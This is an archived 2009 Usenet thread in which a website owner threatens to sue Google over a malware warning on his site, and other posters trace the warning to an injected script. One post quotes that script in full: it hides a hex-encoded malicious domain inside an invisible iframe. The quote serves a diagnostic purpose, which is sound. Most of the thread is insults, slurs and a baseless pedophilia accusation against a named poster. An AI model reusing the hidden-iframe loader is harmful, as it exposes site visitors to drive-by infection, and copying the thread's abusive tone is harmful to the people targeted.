> >> On Thu, 05 Feb 2009 02:50:09 GMT, Adrienne Boswell <arb...@yahoo.com>
> >> wrote:
>
> >> >Gazing into my crystal ball I observed Onideus Mad Hatter
> >> ><use...@backwater-productions.net> writing in
> >> >news:fc7jo45ch72uu2mi6...@4ax.com:
>
> >> >> For falsely listing my site as being infected with malware? I've
> >> >> already requested like TWO reviews and they *STILL* can't tell me what
> >> >> part of the code is ~supposedly~ malware and since those two reviews
> >> >> they've gone even further to have the site listed as "bad" under
> >> >> several other malware tracking groups (whom I'm also thinking about
> >> >> suing). So the question is...what do you think would be a reasonable
> >> >> amount of money to sue them for, given that they're so blatantly
> >> >> slandering my business?
>
> >> >I also looked at the site in Opera, and my antivirus detected a threat:
> >> >Exploit MDAC ActiveX code execution type 165.
>
> >> >The IP address in question was 91.211.64.120 which resolves to somewhere
>
> >> Oh really? And on which one of my sites and which *SPECIFIC* portion
> >> of code is your antivirus getting this bullshit from? Free cl00,
> >> Sunshine, they're not getting it from the site, they're getting it
> >> from the retarded blacklist that Google setup on the site which is
> >> based on UNFOUNDED SUSPICIONS...and so far the going theory is that
> >> some other completely unrelated site hosted on the same shared server
> >> is infected or was infected at some point...which apparently in
> >> Google's insane world gives them the right to completely fuck over
> >> every last business that's hosted on the same server...even though
> >> there's *NO WAY POSSIBLE* for one compromised site to access any other
> >> site on the server.
>
> >> Essentially what they're saying is that if Lunar Pages has one dumbass
> >> client with a three letter password that can be brute forced in less
> >> than five minutes that *EVERYONE* else on the server must also have
> >> easily brute forced passwords and they *ALL* get listed as
> >> "suspicious" based on complete bullshit they pulled right out of their
> >> fat asses.
>
> >straightforward code, but at the end there was this odd code block:
>
> ><script language='JavaScript' type='text/javascript'>
> >document.write("<embed type='application/x-shockwave-flash'
> >pluginspage='http://www.adobe.com/shockwave/download/index.cgi?
> >P1_Prod_Version=ShockwaveFlash' src='main.swf?value=' width=760
> >height=424>"); var str="google.com";var
> >str2="6170706c652d6f66666572732e6e6574";var str3="if";str="";for (var
> >i=0;i<str2.length;i=i+2){ str=str+"%"+str2.substr(i,2);}document.write
> >("<"+str3+"rame width=0 height=0 src=http://"+str+"></"+str3+"rame>");
>
> >the javascript takes the obfuscated string
> >"6170706c652d6f66666572732e6e6574", and turns it into an http request
> >that references 'apple-offers.net' in a 0x0 frame.
>
> >this matches up with the info on this page:
>
>
> >which mentions that the 'appple-offers.net' site is being used to
> >forward users to the actual site that downloads the malicious code.
> >Looking at apple-offers.net with wget, I see some extremely obfuscated
> >code.
>
> > So, yes, you have code on your site that is doing something odd. I
> >don't see any good reason to make it hard to spot the URL for apple-
> >offers.net or even the fact that its creating an invisible frame on
> >your page.
>
> I removed it, I believe that got thrown in there because I looked up
> the embed tag for flash content off some random site at one point (by
> looking at their source code) and simply copied and pasted, only
> bothering to alter the file name and width/height. Whatever site I
> got it from must have been hijacked.
>
> If *THAT* is really all the better of an excuse they have for
> blacklisting *ALL* of my sites I think I've still got a pretty good
> case against them. For one the "malicious" code isn't actually doing
> anything other than supplying a link to a site that won't even work
> (as its already been black listed itself).
The apple-offer.net site is shown to be malicious on a google search,
but it was embedded on your page, so it ran its own code, which sends
people to an IP address which is in Russia. That site installs
malicious code via a drive-by. So, anyone who visited your site while
that code was installed could have been infected if they were using a
browser/OS that was vulnerable- an earlier poster had a browser with a
good enough filter to alert her but not get infected, but there are a
lot of people who don't have particularly hardened systems.
Travis Newbury
productions.net> wrote:
> >I did a wget onwww.backwater-productions.net. I saw mostly
> >straightforward code, but at the end there was this odd code block:
> I removed it, I believe that got thrown in there because I looked up
> the embed tag for flash...
So there WAS suspicious code.
Travis Newbury
> The apple-offer.net site is shown to be malicious on a google search,
> but it was embedded on your page, so it ran its own code, which sends
> people to an IP address which is in Russia. That site installs
> malicious code via a drive-by. So, anyone who visited your site while
> that code was installed could have been infected
A smart person would look through the code he is stealing from other
sites, and claiming as his own, before using it and infecting the
millions of visitors to his sites... (snicker snicker...)
So I guess I will be starting a class action suit against hatter and
bedwetter productions for trying to infect us.
Harlan Messinger
Really, that's how you deal with children?
whoisthat...@hotmail.com
productions.net> wrote:
> On Wed, 4 Feb 2009 12:30:41 -0800 (PST),
>
> whoisthatmasked...@hotmail.com wrote:
> >On Feb 4, 8:56 am, Onideus Mad Hatter <use...@backwater-
> >productions.net> wrote:
> >> For falsely listing my site as being infected with malware? I've
> >> already requested like TWO reviews and they *STILL* can't tell me what
> >> part of the code is ~supposedly~ malware and since those two reviews
> >> they've gone even further to have the site listed as "bad" under
> >> several other malware tracking groups (whom I'm also thinking about
> >> suing). So the question is...what do you think would be a reasonable
> >> amount of money to sue them for, given that they're so blatantly
> >> slandering my business?
>
>
> Is karma how you explain the fact that you're such an incredible
> failure in life? Maybe you should stop blaming your failures on karma
> and strive to improve yourself, Fuckwit.
>
> And given all the wondrous, charitable, nice, loving and open minded
> efforts and projects I've put forth for others (often complete
> strangers), yeah, I'm sure my karma is quite well into the positive
> end of things, especially given all the hateful, nasty, invective,
> slanderous, bile that Hatter Addicts liak yourself constantly spew
> forth about me.
Matthew Moulton playing the victim card.
Too funny.
Drew
whoisthat...@hotmail.com
productions.net> wrote:
> Hear that everybody? If you work at Wal*Mart that means you
> automatically don't know ~anything~ about computers, or coding, (or
> graphic design if you ask that retard Drew).
I never said that working at WalMart means you know nothing about
graphic design. The fact that you know nothing about graphic design is
the determining factor.
Drew
Onideus Mad Hatter
No you specifically made the claim that anyone working at Wal*Mart
doesn't know anything at all about graphic design, Drew. You
frequently and repeatedly used that claim as a means of trying to
attack me and my work. It's cute to see you trying to backpedal your
way out of it now though. For reference, when Drew was challenged to
a graphic design square off, in which we both had to make an image on
the theme of "word art", this was all the better Drew was able to come
up with:
http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
And this was mine:
http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
...and Drew believes he has a "professional" level of graphic design
ability and that I ~nothing~ at all. *snicker*
--
Onideus Mad Hatter
mhm ą x ą
Onideus Mad Hatter
Well, he *IS* a pedophile you know. Hence all the butt touching and
all. He's also very much a child himself (mentally), hence the reason
he suggests name calling as a plausible way of dealing with those of
his own limited experience and intellegence.
Travis is also very much what's known as a "Hatter Addict". Basically
at some point or another Travis said something completely inane and
stupid and I verbally ripped him apart for it, just for shits and
giggles, but because he's *SO* incredibly immature he actually took it
*REALLY* serious like and as such wound up falling into a vicious
cycle where he continually tries to "get back" at me for humiliating
him and verbally ripping him apart (even though it was never actually
meant as an attack in the first place). And of course I as *I* don't
take *ANYTHING* online seriously all his wanton efforts to try and
"get back" at me fall up short, continually building his anger and
hatred, completely unable to relieve his frustrations as a result.
Eventually it starts eating away at their very soul, until their
entire life becomes nothing more than an ever failing, never ending
attempt to try and "get back" at me. And sadly, I haven't yet found
any way to "unmake" a Hatter Addict...it's very much a permanent
social disorder.
--
Onideus Mad Hatter
mhm น x น
Hans van Eynsbergen
every major problem could be solved just with potatoes, wrote:
> Check this out:
>: http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>
> I guess a lot of others are having their businesses destroyed by
> Google as well. As such I'm now looking into starting a class action
> law suit against Google. It seems litigation really is the only
> option, especially after hearing others stories and how they've been
> fighting against the bullshit for even longer than I have! Apparently
> what usually happens is that after a site review you'll get cleared of
> the slanderous lies...but only for a day or two and then they just go
> back and relist your site as being infected with malware...or in my
> case:
>
> "Site is listed as suspicious - visiting this web site may harm your
> computer."
>
> Apparently Google only needs unfounded suspicion to completely ruin
> your business.
>
> --
HTH
--
Hans
"Forty-two!"
"Is that all you've got to show for seven and a half million years of
work?"
"I checked it very thoroughly", said the computer...
Onideus Mad Hatter
Oh I'm not going to sue them for that much, only enough that it won't
be worth their time to actually try and fight it out in a court room.
--
Onideus Mad Hatter
mhm น x น
whoisthat...@hotmail.com
> >On Feb 5, 12:26 am, Onideus Mad Hatter <use...@backwater-
> >productions.net> wrote:
>
> >> Hear that everybody? If you work at Wal*Mart that means you
> >> automatically don't know ~anything~ about computers, or coding, (or
> >> graphic design if you ask that retard Drew).
>
> >I never said that working at WalMart means you know nothing about
> >graphic design. The fact that you know nothing about graphic design is
> >the determining factor.
>
> No you specifically made the claim that anyone working at Wal*Mart
> doesn't know anything at all about graphic design, Drew. You
> frequently and repeatedly used that claim as a means of trying to
> attack me and my work. It's cute to see you trying to backpedal your
> way out of it now though. For reference, when Drew was challenged to
> a graphic design square off, in which we both had to make an image on
> the theme of "word art", this was all the better Drew was able to come
> up with:http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
>
> And this was mine:http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
>
> ...and Drew believes he has a "professional" level of graphic design
> ability and that I ~nothing~ at all. *snicker*
Sorry, this is all I can see: http://pattersondesign.com/misc/blackwater.html
Nice design, though.
Drew
Onideus Mad Hatter
wrote:
Highly unlikely, the number of people using extremely out of date
browsers that are readily vulnerable to such attacks are almost nil at
this point...and those that haven't, well they're basically just
targets waiting to happen...or likely they're already infected and/or
deal with constant malware infections. Simply put, at this point, you
really can't surf the Internet without some kind of "NoScript" style
browser plugin. And if you try, I guarantee you'll be infected with
all sorts of malware in under a week tops.
And again, as Google wasn't forth coming about what was actually wrong
with the code, instead simply listing the reason as "suspicious", they
are the ones responsible for anyone getting infected through my site.
Had they accurately and precisely listed the specific site and the
specific code that was running the redirect, I would have been able to
remove it within minutes of their first tracking it. Instead their
gross ambiguity and vague obscurity of a reason for the site being
blacklisted effectively prevented me from even knowing that there was
anything even wrong with the site. In fact, most people, myself
included, when first reading their inane shit smear of an explanation
believed that the problem was resulting from some other site on my
shared hosting account and that because of that my sites were somehow
being falsely blacklisted.
--
Onideus Mad Hatter
mhm ¹ x ¹
Neredbojias
wrote:
> On Thu, 5 Feb 2009 05:37:35 +0000 (UTC), Neredbojias
> <nered...@gmail.com> wrote:
>
>>On 04 Feb 2009, Onideus Mad Hatter <use...@backwater-productions.net>
>>wrote:
>>
>>> Oh really?
>>
>>Just a side-note here. Your x-face sucks. You should have something
>>like a head outline with a little hat on it, not a childish
>>scratching that appears to be an off-centered ghost at best.
>
> Most people actually liak the Hatter smiley: `, )
>
> The general consensus at the time was that it was better than nyah:
> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
> Hatter_X-Face_1.png
> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
> Hatter_X-Face_2.png
>
> To each his own I guess.
I tried to view those images but got a "Reported Attack Site!" warning
message in Firefox. Prudently, I declined to ignore it because I was
ascared.
--
Neredbojias
Driving can be tiring : Especially after supper
So ere you take an evening trip : You ought to pop an upper.
Burma Shave
http://www.neredbojias.org/
Onideus Mad Hatter
<travis...@gmail.com> wrote:
>On Feb 5, 5:09 am, tars.tarkas...@gmail.com wrote:
>> The apple-offer.net site is shown to be malicious on a google search,
>> but it was embedded on your page, so it ran its own code, which sends
>> people to an IP address which is in Russia. That site installs
>> malicious code via a drive-by. So, anyone who visited your site while
>> that code was installed could have been infected
>A smart person would look through the code he is stealing from other
>sites, and claiming as his own, before using it and infecting the
>millions of visitors to his sites... (snicker snicker...)
A smart person would know that no one holds any copyright over the
basic form structure of the embed tag and therefore it can't be
"stolen" from anyone, despite your inane, wanton delusions. And the
likely reason I missed it was, simply put, because I had word wrapping
turned off and didn't scroll over far enough to see the extraneous
code.
And again, if anyone got infected it's actually entirely the fault of
Google for not properly listing and identifying the cause, instead
claiming that the site was simply "suspicious" without any real
meaningful further elaboration.
And once again, the likelihood of anyone even being capable of getting
infected from that site would be essentially nil and anyone who could
be capable of it would no doubt wind up with more than a half dozen
different malware infections from legitimate sites all over the grid
in no time flat. Basically, if you're running a web browser without
some kind of "NoScript" style plug-in...you are going to get infected
with massive amounts of malware. It's not a question of if, it's a
question of how many hours it'll take to happen.
>So I guess I will be starting a class action suit against hatter and
>bedwetter productions for trying to infect us.
Good luck with that, Hatter Addict. Be sure and let us all know how
it turns out.
--
Onideus Mad Hatter
mhm น x น
Onideus Mad Hatter
Too bad Google never said that, huh? If they had I would have been
able to remove it right away. Instead they simply listed the site as
"suspicious" giving *NO* reference at all to *ANY* code or even any
specific site for that matter. I guess the guys they got working at
Google are as stupid as you are, huh?
--
Onideus Mad Hatter
mhm น x น
Onideus Mad Hatter
Oh I can't be a victim, unfortunately for your incredible wanton
desires, but that certainly is not ever going to stop you from putting
every last ounce of possible effort into trying, you creepy fucking
Internet stalker.
--
Onideus Mad Hatter
mhm ą x ą
Neredbojias
wrote:
>> "Site is listed as suspicious - visiting this web site may harm your
>> computer."
>>
>> Apparently Google only needs unfounded suspicion to completely ruin
>> your business.
>>
>> --
>
> http://www.minnickhayner.com/
Are these the guys that were sued for adopting a logo unacceptably
similar to that of "Minneapolis Honeywell"?
Fred Doyle
>
> And again, as Google wasn't forth coming about what was actually wrong
> with the code, instead simply listing the reason as "suspicious", they
> are the ones responsible for anyone getting infected through my site.
> Had they accurately and precisely listed the specific site and the
> specific code that was running the redirect, I would have been able to
> remove it within minutes of their first tracking it. Instead their
> gross ambiguity and vague obscurity of a reason for the site being
> blacklisted effectively prevented me from even knowing that there was
> anything even wrong with the site. In fact, most people, myself
> included, when first reading their inane shit smear of an explanation
> believed that the problem was resulting from some other site on my
> shared hosting account and that because of that my sites were somehow
> being falsely blacklisted.
>
> --
That's just too funny for words.
Not that your site really DID have a problem.
Not that you thumped your chest about suing them.
Not that you couldn't find the problem on your own despite all your
proclamations about your coding ability.
That you would even think up that kind of explanation of why its
Google's fault that people got infected from your site and can't see
what's wrong with that.
That's too funny for words.
Fred Doyle
Onideus Mad Hatter
Reading sure is hard for you, huh Drew? Don't worry, no one else
reading these posts is as stupid as you are and they can see the
images just fine. ^__^
Figures that such blatant retardation would be your recourse, you
really do realize just how out classed you are.
Onideus Mad Hatter
<nered...@gmail.com> wrote:
>On 04 Feb 2009, Onideus Mad Hatter <use...@backwater-productions.net>
>wrote:
>
>> On Thu, 5 Feb 2009 05:37:35 +0000 (UTC), Neredbojias
>> <nered...@gmail.com> wrote:
>>
>>>On 04 Feb 2009, Onideus Mad Hatter <use...@backwater-productions.net>
>>>wrote:
>>>
>>>> Oh really?
>>>
>>>Just a side-note here. Your x-face sucks. You should have something
>>>like a head outline with a little hat on it, not a childish
>>>scratching that appears to be an off-centered ghost at best.
>>
>> Most people actually liak the Hatter smiley: `, )
>>
>> The general consensus at the time was that it was better than nyah:
>> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
>> Hatter_X-Face_1.png
>> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
>> Hatter_X-Face_2.png
>>
>> To each his own I guess.
>
>I tried to view those images but got a "Reported Attack Site!" warning
>message in Firefox. Prudently, I declined to ignore it because I was
>ascared.
So you believe that images can somehow ~magically~ infect your
computer with malware? Wow...are you really that stupid? (completely
ignoring of course all the threads pertaining to Google's idiocy, this
one included) Reading is teh HARD for you, innt?
Travis Newbury
productions.net> wrote:
> up with:http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
> And this was mine:http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
I showed these both to 15 different people. 11 of them thought your
was dull, boring, and just bla. Drew's was colorful and sowed
excitement and fun.
Onideus Mad Hatter
wrote:
>> And again, as Google wasn't forth coming about what was actually wrong
>> with the code, instead simply listing the reason as "suspicious", they
>> are the ones responsible for anyone getting infected through my site.
>> Had they accurately and precisely listed the specific site and the
>> specific code that was running the redirect, I would have been able to
>> remove it within minutes of their first tracking it. Instead their
>> gross ambiguity and vague obscurity of a reason for the site being
>> blacklisted effectively prevented me from even knowing that there was
>> anything even wrong with the site. In fact, most people, myself
>> included, when first reading their inane shit smear of an explanation
>> believed that the problem was resulting from some other site on my
>> shared hosting account and that because of that my sites were somehow
>> being falsely blacklisted.
>That's just too funny for words.
And here we have Fred...reaching. This should be entertaining.
Remember, these Hatter Addicts are absolutely *DESPERATE* for anything
they can latch on to and slurp over if they think they can use it to
"get back" at me in some way.
>Not that your site really DID have a problem.
And which site would that have been, Dumbass? Google was claiming
that EVERY SITE, EVERY PICTURE, EVERY VIDEO, EVERY SONG, EVERY bit of
content that was on my site was "suspicious" with no further
elaboration. As it turns out there was only *ONE* fuckin page out of
well over THREE HUNDRED HTML pages that actually had something wrong
with it...and said something was effectively completely benign anyway.
>Not that you thumped your chest about suing them.
Oh I'm still suing them, Cuppycake.
>Not that you couldn't find the problem on your own despite all your
>proclamations about your coding ability.
What does my coding ability have to do with Google's obscure
retardation of a reason for blacklisting the site? The way they
worded it, most people, myself included, didn't even think they were
talking about any of my sites specifically, but rather about some
other site that was hosted on the same shared server. You're a
complete fucking retard though, Fred, so I can see as how all this
just flew on over yer pointed little head.
>That you would even think up that kind of explanation of why its
>Google's fault that people got infected from your site and can't see
>what's wrong with that.
>
>That's too funny for words.
This is you...without an actual counter argument nor any evidence to
the contrary. This is you...being a FAILURE. ^__^ I guess yer sorta
used to it though, huh?
--
Onideus Mad Hatter
mhm ą x ą
whoisthat...@hotmail.com
And he conveniently omits the fact that the exercise was for 3 designs
over 3 weeks. He quit after this one.
Drew
Onideus Mad Hatter
Does your stuffed animal collection really count as "people" though,
Travis? I think not. And of course CHILDREN liak yourself are easily
taken in with bright candy colors slathered across the screen
incoherently, however CHILDREN liak yourself were *NOT* the target
audience of the challenge.
Had CHILDREN liak yourself been the target audience I would have made
it look moar liak this:
http://www.backwater-productions.net/_adg/Shank_Fucks_Goats.png
LOL
--
Onideus Mad Hatter
mhm น x น
Onideus Mad Hatter
And Drew conveniently omits the fact that, that was one of his "pulled
out of his ass" and never agreed upon rules that he came up with
*AFTER* he suddenly realized he got his ass handed to him. You know
that scene in Bill and Ted's Bogus Journey, where the Grim Reaper
keeps saying stuff like, "best 3 out of 5", "best 4 out of 7", etc,
every time he loses a game...yeah, that's basically what Drew did.
richard
<use...@backwater-productions.net> wrote:
>On Wed, 04 Feb 2009 19:29:35 -0500, richard <mem...@newsguy.com>
>wrote:
>
>>On Wed, 04 Feb 2009 05:56:59 -0800, Onideus Mad Hatter
>><use...@backwater-productions.net> wrote:
>>
>>>For falsely listing my site as being infected with malware? I've
>>>already requested like TWO reviews and they *STILL* can't tell me what
>>>part of the code is ~supposedly~ malware and since those two reviews
>>>they've gone even further to have the site listed as "bad" under
>>>several other malware tracking groups (whom I'm also thinking about
>>>suing). So the question is...what do you think would be a reasonable
>>>amount of money to sue them for, given that they're so blatantly
>>>slandering my business?
>>>
>>> --
>>>
>>>Onideus Mad Hatter
>>>mhm น x น
>>>http://www.backwater-productions.net
>>>http://www.backwater-productions.net/hatter-blog
>>>
>>
>>I had a look at the site in both FF and IE.
>>IE tried loading something else and it failed.
>>Both show a flash driven page.
>>My gathering would tend to think that google thinks the VB script is
>>all screwed up.
>>VB is unique to IE and won't run anywhere else.
>>I would try putting the two scripts in external files and see if that
>>clears it up.
>>
>>Also there is a reference to another site which could be the true
>>culprit.
>
>Most of my sites have some pretty advanced scripting, all of which is
>used for either user data tracking or for system compatibility
>checking. That VB script being one of the most important as it's the
>*ONLY* way to accurately detect whether Flash has been installed on
>someone's system and what specific version of it they have. It's not
>something I can simply take out as several of my sites, like the RPG
>Sprite Maker, are absolutely dependent upon not just having Flash
>installed, but having SPECIFIC versions of it installed.
>
>Just because the morons at Google are too damn stupid to look at site
>code and figure out what it is doesn't give them the right to slander
>and attack my business. Essentially what they're saying is that if
>your site's code goes beyond their limited flunkie range of expertise
>that your site is automatically labeled as "suspicious".
>
I agree. Google really has no business making these determinations.
While they make these claims, they list thousands of sites that are
dangerous and could care less. Like I've been to many sites that are
nothing but dns changers and what do you get for clicking the link?
Yup. You get an unwanted item installed on your machine.
I think it should be the end user who makes these determinations.
Then why is it google insists that anything you search for is
available on ebay or amazon? It's not about YOU, it's about
advertising and making money for google.
It's slander. Sue the bastards.
richard
<use...@backwater-productions.net> wrote:
>On Thu, 05 Feb 2009 02:50:09 GMT, Adrienne Boswell <arb...@yahoo.com>
>wrote:
>
>>Gazing into my crystal ball I observed Onideus Mad Hatter
>><use...@backwater-productions.net> writing in
>>news:fc7jo45ch72uu2mi6...@4ax.com:
>>
>>> For falsely listing my site as being infected with malware? I've
>>> already requested like TWO reviews and they *STILL* can't tell me what
>>> part of the code is ~supposedly~ malware and since those two reviews
>>> they've gone even further to have the site listed as "bad" under
>>> several other malware tracking groups (whom I'm also thinking about
>>> suing). So the question is...what do you think would be a reasonable
>>> amount of money to sue them for, given that they're so blatantly
>>> slandering my business?
>>>
>>
>>I also looked at the site in Opera, and my antivirus detected a threat:
>>Exploit MDAC ActiveX code execution type 165.
>>
>>The IP address in question was 91.211.64.120 which resolves to somewhere
>>in Russia. See http://tinyurl.com/d3bbp5 (Central Ops IP information).
>
>Oh really? And on which one of my sites and which *SPECIFIC* portion
>of code is your antivirus getting this bullshit from? Free cl00,
>Sunshine, they're not getting it from the site, they're getting it
>from the retarded blacklist that Google setup on the site which is
>based on UNFOUNDED SUSPICIONS...and so far the going theory is that
>some other completely unrelated site hosted on the same shared server
>is infected or was infected at some point...which apparently in
>Google's insane world gives them the right to completely fuck over
>every last business that's hosted on the same server...even though
>there's *NO WAY POSSIBLE* for one compromised site to access any other
>site on the server.
>
>Essentially what they're saying is that if Lunar Pages has one dumbass
>client with a three letter password that can be brute forced in less
>than five minutes that *EVERYONE* else on the server must also have
>easily brute forced passwords and they *ALL* get listed as
>"suspicious" based on complete bullshit they pulled right out of their
>fat asses.
>
I can understand that.
I recently set up a brand new domain and sent out an email as a test.
Outblaze reported that the email was spam and blocked.
I had to write to outblaze and advise them that their report was in
error and they politely unblocked the IP.
I think sometimes these people fail to understand that IP's are not
always a specific domain.
Fred Doyle
>
> Oh I'm still suing them, Cuppycake.
You'll keep us updated on that I hope.
Better than you're updating us on how your using your big voice on the
members of th Drew jury.
How is it that you've "ripped apart" Valentina Kunasz's life by trolling
her?
Was that the sound of a mighty chest thump I just heard?
That you would even think up that kind of explanation of why its
Google's fault that people got infected from your site, and you can't
see what's wrong with that.
That's too funny for words. Please, stop. Just let it die. This is just
too funny.
Fred Doyle
whoisthat...@hotmail.com
> >On Feb 5, 10:32 am, Travis Newbury <travisnewb...@gmail.com> wrote:
> >> On Feb 5, 8:55 am, Onideus Mad Hatter <use...@backwater-
>
> >> productions.net> wrote:
> >> > up with:http://www.backwater-productions.net/_adg/Word_To_Drew%27s_Mom.png
> >> > And this was mine:http://www.backwater-productions.net/_adg/I_Fuck_Drew%27s_Mom_-_01.png
>
> >> I showed these both to 15 different people. 11 of them thought your
> >> was dull, boring, and just bla. Drew's was colorful and sowed
> >> excitement and fun.
>
> >And he conveniently omits the fact that the exercise was for 3 designs
> >over 3 weeks. He quit after this one.
>
> And Drew conveniently omits the fact that, that was one of his "pulled
> out of his ass" and never agreed upon rules that he came up with
> *AFTER* he suddenly realized he got his ass handed to him. You know
> that scene in Bill and Ted's Bogus Journey, where the Grim Reaper
> keeps saying stuff like, "best 3 out of 5", "best 4 out of 7", etc,
> every time he loses a game...yeah, that's basically what Drew did.
Keep wallowing in your delusions, Sophomore.
Drew
Travis Newbury
productions.net> wrote:
> And of course CHILDREN liak yourself are easily
> taken in with bright candy colors slathered across the screen
> incoherently, however CHILDREN liak yourself were *NOT* the target
> audience of the challenge.
Good comeback silly boy
Travis Newbury
Let us know how that works out for you silly boy
whoisthat...@hotmail.com
> That's too funny for words. Please, stop. Just let it die. This is just
> too funny.
Please Fred, don't ask him to stop. The entertainment value is
enormous.
Drew
Wavy G
"Onideus Mad Hatter" actually had to say:
{SNIP}
Hey, guys. Google was right. I just clicked on the link below, and my
screen got infected with a virus called "backwater-productions.net"
filled with shoddy animation and a bunch of crappy pictures of anime.
DON'T CLICK ON IT!!!
>http://www.backwater-productions.net
>http://www.backwater-productions.net/hatter-blog
--
[None]
Neredbojias
wrote:
>>> The general consensus at the time was that it was better than nyah:
>>> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
>>> Hatter_X-Face_1.png
>>> http://www.backwater-productions.net/_images/_Usenet/Graphic_Design_-_
>>> Hatter_X-Face_2.png
>>>
>>> To each his own I guess.
>>
>>I tried to view those images but got a "Reported Attack Site!" warning
>>message in Firefox. Prudently, I declined to ignore it because I was
>>ascared.
>
> So you believe that images can somehow ~magically~ infect your
> computer with malware? Wow...are you really that stupid? (completely
> ignoring of course all the threads pertaining to Google's idiocy, this
> one included) Reading is teh HARD for you, innt?
Yeah, you're right; I guess I was just being paranoid.
I like them both. The second one is probably better, but I favor the
first (assuming it could be better centered). Both at least have more
detail than what's used now.
Mr Serious
it.
Fred Doyle
> Hatter how is the lawsuit going? Would be good to kept up to date on
> it.
>
That's what I'm saying. This is breaking new ground for the entire
computing community. It could impact anyone with a web site.
What lawyer has agreed to take on your case? They'll be famous. They'll
certainly make national news with this one. What's that lawyer got to
say, Matt?
Fred Doyle
Fred Doyle
> Hatter how is the lawsuit going? Would be good to kept up to date on
> it.
>
Oh, and while you're at it, since your solving the whole dependence on
foreign oil problem and saving the nation in your spare time, could you
update us on how that whole "geomagnetric resonence energy generator"
perpetual motion machine thingy is coming too.
Fred Doyle
Mr Serious
There doesn't seem to be anything on http://www.uspto.gov in his
name. Have you got the patent number by any chance?
Mr Serious
> Mr Serious wrote:
> > Hatter how is the lawsuit going? Would be good to kept up to date on
> > it.
>
> That's what I'm saying. This is breaking new ground for the entire
> computing community. It could impact anyone with a web site.
I agree, which is why I'm interested. I wonder if the EFF would get
involved?
SSDD
"Onideus Mad Hatter" <use...@backwater-productions.net> wrote in message
news:aj8ko4ds99sb3lia3...@4ax.com...
> Check this out:
> :
> http://www.google.com/support/forum/p/Webmasters/thread?tid=588957a7840455e8&hl=en&fid=588957a7840455e80004621feffec9b4
>
> I guess a lot of others are having their businesses destroyed by
> Google as well. As such I'm now looking into starting a class action
> law suit against Google. It seems litigation really is the only
> option, especially after hearing others stories and how they've been
> fighting against the bullshit for even longer than I have! Apparently
> what usually happens is that after a site review you'll get cleared of
> the slanderous lies...but only for a day or two and then they just go
> back and relist your site as being infected with malware...or in my
> case:
>
> "Site is listed as suspicious - visiting this web site may harm your
> computer."
>
> Apparently Google only needs unfounded suspicion to completely ruin
> your business.
>
>
> Onideus Mad Hatter
> mhm ą x ą
> http://www.backwater-productions.net
> http://www.backwater-productions.net/hatter-blog
>
>
> Hatter Quotes
> -------------
>
> with it."
If you hurry, you may be able to recapture your costs in what you spent to
have google list your site.
Fred Doyle
An excellent suggestion on the EFF. I think Matt should draft a letter
to the EFF explaining exactly why, since, "Google wasn't forth coming
about what was actually wrong with the code, instead simply listing the
reason as 'suspicious', they are the ones responsible for anyone getting
infected through my site."
I'm sure the EFF will be in complete agreement with him. If he drafts
the letter and posts it here, I'm sure all these groups would be glad to
help refine the language before he passes it on.
After all, we all have a stake in the outcome of this case. If we can
get Google to be responsible for exactly reporting all malicious code on
the internet, we are all free to post whatever we want until they can
identify it. Until then, if they find anything malicious and warn people
about it, Google is responsible if people get infected.
The same, of course would be true of any malware detector or any
anti-virus program or browser protection scheme. If they report that a
site may be dangerous to your computer, and they can't exactly identify
where that danger is coming from in the code on every page of the site,
the person who put the virus or malware code on the site is absolved of
all responsibility!
Either that or they should all STFU and not try and protect anybody.
Its a breakthrough!
Fred Doyle
whoisthat...@hotmail.com
Brilliant!
Drew
Onideus Mad Hatter
wrote:
>Mr Serious wrote:
>> Hatter how is the lawsuit going? Would be good to kept up to date on
>> it.
>>
>
>Oh, an<COCK SLAP>
...holy shit...is this really how you dipshits spent your Friday? Man
that is just...sad...sad on a level only a Hatter Addict could
achieve. Tell us, are you going to spend your Saturday doing more of
the same retardation or have you finished obsessing over all things
"me" for the time being? Think slow now, don't hurt yourself.
Fred Doyle
> On Fri, 06 Feb 2009 07:41:38 -0500, Fred Doyle <fdo...@nycap.rr.com>
> wrote:
>
>> Mr Serious wrote:
>>> Hatter how is the lawsuit going? Would be good to kept up to date on
>>> it.
>>>
>> Oh, an<COCK SLAP>
>
> ...holy shit...is this really how you dipshits spent your Friday? Man
> that is just...sad...sad on a level only a Hatter Addict could
> achieve. Tell us, are you going to spend your Saturday doing more of
> the same retardation or have you finished obsessing over all things
> "me" for the time being? Think slow now, don't hurt yourself.
>
I know it prolly makes you feel a little better to think people are
addicted to you. But you have to face facts and accept that some people
find you like a character on a sitcom, but one that they can prod along
into further comedy.
You say your going to sue google, people recognize the opening and push
you into even bigger and dumber proclamations. Finally you blow and
blame google for your mistake. Its hysterical!
The entertainment value isn't an addiction, just like people aren't
addicted to a sitcom. But they enjoy the entertainment to be sure.
I know I'm dating myself with this metaphor, but the sitcom character
I'd liken you to is Jethro on the Beverly Hillbillies (my childhood was
in the early 1960's.) Although I'd accept other nominations as to
characters Matt reminds people of.
Fred Doyle
FrozenNorth
> I know I'm dating myself with this metaphor, but the sitcom character
> I'd liken you to is Jethro on the Beverly Hillbillies (my childhood was
> in the early 1960's.) Although I'd accept other nominations as to
> characters Matt reminds people of.
>
--
Froz...
2 feet longer than a d00tchie.
Tim Streater
Fred Doyle <fdo...@nycap.rr.com> wrote:
Baldrick.
--
Tim
"That excessive bail ought not to be required, nor excessive fines imposed,
nor cruel and unusual punishments inflicted" -- Bill of Rights 1689
Onideus Mad Hatter
<frozenn...@gm.nospam.ail.com> wrote:
>Fred Doyle wrote:
>> I know I'm dating myself with this metaphor, but the sitcom character
>> I'd liken you to is Jethro on the Beverly Hillbillies (my childhood was
>> in the early 1960's.) Although I'd accept other nominations as to
>> characters Matt reminds people of.
>>
>How about Cliff Claven from Cheers?
I think these would be better described as "wishful thinking" or
"wanton thinking".
